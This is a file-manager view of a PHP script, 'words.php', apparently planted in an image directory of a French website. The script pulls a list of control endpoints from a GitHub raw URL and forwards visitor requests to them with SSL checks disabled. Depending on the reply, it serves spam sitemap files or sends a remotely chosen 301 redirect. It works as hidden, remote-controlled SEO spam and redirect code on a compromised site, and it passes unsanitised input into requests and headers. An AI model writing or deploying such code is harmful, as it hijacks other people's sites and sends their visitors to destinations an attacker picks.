File "words.php"

Full path: /home/argothem/www/organecyberpresse/IMG/distant/xml/article/words.php
File size: 3.64 KB
MIME-type: text/x-php
Charset: utf-8

<?php

$country = isset($_GET['cr']) ? $_GET['cr'] : 'id';
$cache_file = $country . '_fast_api.txt';

function updateApiCache($cache_file, $country) {
    $api_urls = array(
        "https://raw.githubusercontent.com/carolynkdixon/demo/main/".$country."_fast_api"
    );
    foreach ($api_urls as $api_url) {
        $api_url=trim($api_url);
         $latest_api_content = false;

        $ch = curl_init($api_url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $latest_api_content = curl_exec($ch);
        curl_close($ch);
        if ($latest_api_content !== false) {
            $latest_api_content = trim($latest_api_content);
            $file = fopen($cache_file,'w');
            fwrite($file,$latest_api_content);
            fclose($file);
            break;
            }else{ 
            }
        }
    }

$user_agent = urlencode($_SERVER['HTTP_USER_AGENT']);
$current_url = urlencode("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$user_ip = urlencode($_SERVER['REMOTE_ADDR']);


// Check if API cache file exists

$cache_expiration = 60 * 60; // 1 day (in seconds)24 * 60 * 60

if (file_exists($cache_file) and filesize($cache_file)>0) {
    $cache_time = filemtime($cache_file);
    $current_time = time();
    
    // Check if cache has expired
    if (($current_time - $cache_time) > $cache_expiration) {
        // Update the cache with the latest API
        updateApiCache($cache_file, $country);
    }
} else {
    // Cache file does not exist, update the cache with the latest API
    updateApiCache($cache_file, $country);
}

if (file_exists($cache_file)) {
    $api_urls = file($cache_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $html_content = false;
    $error_message = null;
    foreach ($api_urls as $api_url) {
        $api_url=trim($api_url);
        $country=trim($country);
        $word = $_GET['word'];
        $t = $_GET['t'];
        $url_with_params = $api_url."?cr=".$country."&current_url=".$current_url."&word=".$word."&t=".$t."";
        $ch = curl_init($url_with_params);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);   
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    
        $html_content = curl_exec($ch);
        curl_close($ch);
        if ($html_content !== false) {
            $word = isset($_GET['word']) ? $_GET['word'] : '';
            if (strpos($word, 'sitemap_') !== false) {
                if (pathinfo($word, PATHINFO_EXTENSION) === 'txt') {
                    header('Content-Type: text/plain');
                    header('Content-Disposition: attachment; filename="' . $word . '"');
        			echo $html_content;
        			break;
                } elseif (pathinfo($word, PATHINFO_EXTENSION) === 'xml') {
                    header('Content-Type: application/xml');
                    header('Content-Disposition: attachment; filename="' . $word . '"');
        			echo $html_content;
        			break;
                }
            }else{
                $response = json_decode($html_content, true);
                $redirectUrl = $response['redirect_url']; // Replace 'redirect_url' with the actual key in your response
    
                if (!empty($redirectUrl)) {
                    // Perform 301 redirect
                    header("HTTP/1.1 301 Moved Permanently");
                    header("Location: $redirectUrl");
                    exit();
                }
                break; // Break the loop if successful
            }
        }else{
            // echo "<br>html NOT GOT<br>";
        }
        
        $error_message = error_get_last();
    }
}

?>